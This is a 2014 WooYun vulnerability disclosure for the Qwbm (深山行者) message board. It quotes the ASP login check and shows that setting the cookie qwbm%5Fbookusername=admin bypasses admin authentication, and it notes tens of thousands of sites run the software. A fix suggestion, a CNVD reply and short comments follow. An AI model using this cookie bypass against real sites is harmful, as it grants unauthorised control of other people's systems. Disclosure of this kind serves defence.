当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-070130

漏洞标题:Qwbm深山行者留言板可通杀绕过登陆获得后台权限

相关厂商:深山工作室

漏洞作者: zph

提交时间:2014-07-29 14:58

修复时间:2014-09-12 15:00

公开时间:2014-09-12 15:00

漏洞类型:未授权访问/权限绕过

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-29: 细节已通知厂商并且等待厂商处理中
2014-07-30: 厂商已经确认,细节仅向厂商公开
2014-08-09: 细节向核心白帽子及相关领域专家公开
2014-08-19: 细节向普通白帽子公开
2014-08-29: 细节向实习白帽子公开
2014-09-12: 细节向公众公开

简要描述:

powered by qwbm
找到约 98,400 条结果 (用时 0.33 秒)
:)

详细说明:

0x01 代码审计
我们先看admin/index/index.asp

<%@LaNGUaGE="VBSCRIPT" CODEPaGE="936"%><!--#include file="../inc/qwbm_conn.asp"--><!--#include file="../inc/qwbm_cheack.asp"-->
<html>
<head>
<title><%=qwbmcms1%></title>
<meta http-equiv=Content-Type content=text/html;charset=gb2312>
<link rel="stylesheet" type="text/css" href="../skin/01/index.css">
<script language="javascript">
var oldmenus = 0;
function headmenu(menus,value){
document.getElementById("lefttop").innerHTML=value;
var mes=document.getElementById("leftmain0"+menus);
var oldmes = document.getElementById("leftmain0"+oldmenus);
if (mes != null && oldmes != null){
oldmes.style.display="none";
mes.style.display='block';
oldmenus = menus;
}
}
function gotourl(urls){document.getElementById("ifrmameid").src=urls;}
function setTabs(m,n){
var tli=document.getElementById("leftmain0"+m).getElementsByTagName("li");
var mli=document.getElementById("leftmain0"+m).getElementsByTagName("ul");
for(i=0;i<tli.length;i++){
tli[i].className=i==n?"leftmainhover":"";
}
}
</script>
</head>


显然,inc/qwbm_cheack.asp这个文件是用来判断用户是否登陆的,那么我们看一下代码

<%
if request.cookies(""& qwbmcms2 &"username") = "" then
response.write "您没有查看该文件的权限"
response.end
end if
%>


程序只是对""& qwbmcms2 &"username" cookie进行判断,只要isset就回登陆ok
""& qwbmcms2 &"username" 这个cookie即是qwbm%5Fbookusername

漏洞证明:

0x02 绕过&登陆
open url:http://site/admin/index/index.asp
修改cookie为:

qwbm%5Fbookusername=admin


即可成功登陆

1.png


2.png


3.png


4.png

修复方案:

更改登陆验证策略,加强安全意识

版权声明:转载请注明来源 zph@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:18

确认时间:2014-07-30 09:26

厂商回复:

CNVD确认所述情况,但未能建立与软件生产厂商的直接联系处置渠道,未列入处置流程,待认领。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-07-29 15:14 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    秒过啊 :) 希望能秒确认就更好了 :) @cncert国家互联网应急中心

  2. 2014-08-12 21:33 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    @奖金 疯狗有没?

  3. 2014-08-12 21:34 | zph ( 普通白帽子 | Rank:235 漏洞数:43 )

    @疯狗 奖金有没……居然把狗哥和奖金换了个位置啊……于心不忍